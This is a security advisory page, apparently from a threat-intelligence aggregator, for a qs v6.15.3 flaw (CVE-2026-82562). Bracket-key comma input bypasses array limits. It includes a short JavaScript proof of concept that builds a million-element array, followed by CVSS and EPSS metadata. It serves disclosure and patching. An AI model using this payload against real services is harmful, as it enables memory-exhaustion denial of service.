mediumCVSS 3.7Vulnerability

CVE-2026-82562

### Summary `qs` `v6.15.3` allows bracket-key input to bypass `arrayLimit` and `throwOnLimitExceeded` when `comma: true`. The input `a[]=1,2,3,4` succeeds with `arrayLimit: 3`, while the equivalent plain-key input is rejected. Affected version tested: ```text qs v6.15.3 commit 18d085e919dae70c8f1b200ab99323058edab2c2 ``` ### Details `parseArrayValue()` enforces the comma limit only for flat values. The `a[]` form is marked non-flat, so its comma-separated value is wrapped after parsing and the inner array is not checked. A single parameter can therefore materialize arbitrarily large arrays. ### PoC ```js const qs = require('qs') const options = { comma: true, arrayLimit: 3, throwOnLimitExceeded: true } const result = qs.parse('a[]=1,2,3,4', options) console.log(result.a[0].length) // 4; expected RangeError const big = qs.parse('a[]=' + '1,'.repeat(1000000) + '1', { comma: true, arrayLimit: 20 }) console.log(big.a[0].length) // 1000001 ``` On `v6.15.3`, the first input parses successfully and the second creates an array with 1,000,001 elements. The equivalent `a=1,2,3,4` input throws `RangeError` as expected. ### Impact An attacker who can supply a query string or form body can bypass configured array limits and force excessive memory allocation, causing denial of service. The limit must be applied after comma splitting and before the resulting array is wrapped.

Properties

severity
medium
summary
qs array-limit bypass via bracket-key comma parsing
cvss_severity
medium
epss_score
0.0054
cvss_score
3.7
retrieved_at
2026-10-17T02:41:43+00:00
ghsa_published
2026-09-02T14:46:57Z
source_url
https://github.com/advisories/GHSA-x5fp-wj9c-mxmx
ghsa_updated
2026-09-02T14:46:58Z
ghsa_id
GHSA-x5fp-wj9c-mxmx
last_source
FIRST EPSS
score
3.7
cve_id
CVE-2026-82562
cvss_vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
signal_observed_at
2026-09-11T17:55:57+00:00
is_ghsa_only
false
vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
published_at
2026-08-30T01:20:32.820
last_modified
2026-09-03T18:00:36.970
epss_percentile
0.44209

Related Entities (6)

DESCRIBED_BY (1)

→[Source]NVD

ENRICHED_BY (1)

→[Source]FIRST EPSS

VULNERABLE_TO (1)

←[Software]npm/qs

AFFECTS (1)

→[Software]npm/qs

HAS_WEAKNESS (1)

→[Weakness]Allocation of Resources Without Limits or Throttling

REPORTED_BY (1)

→[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph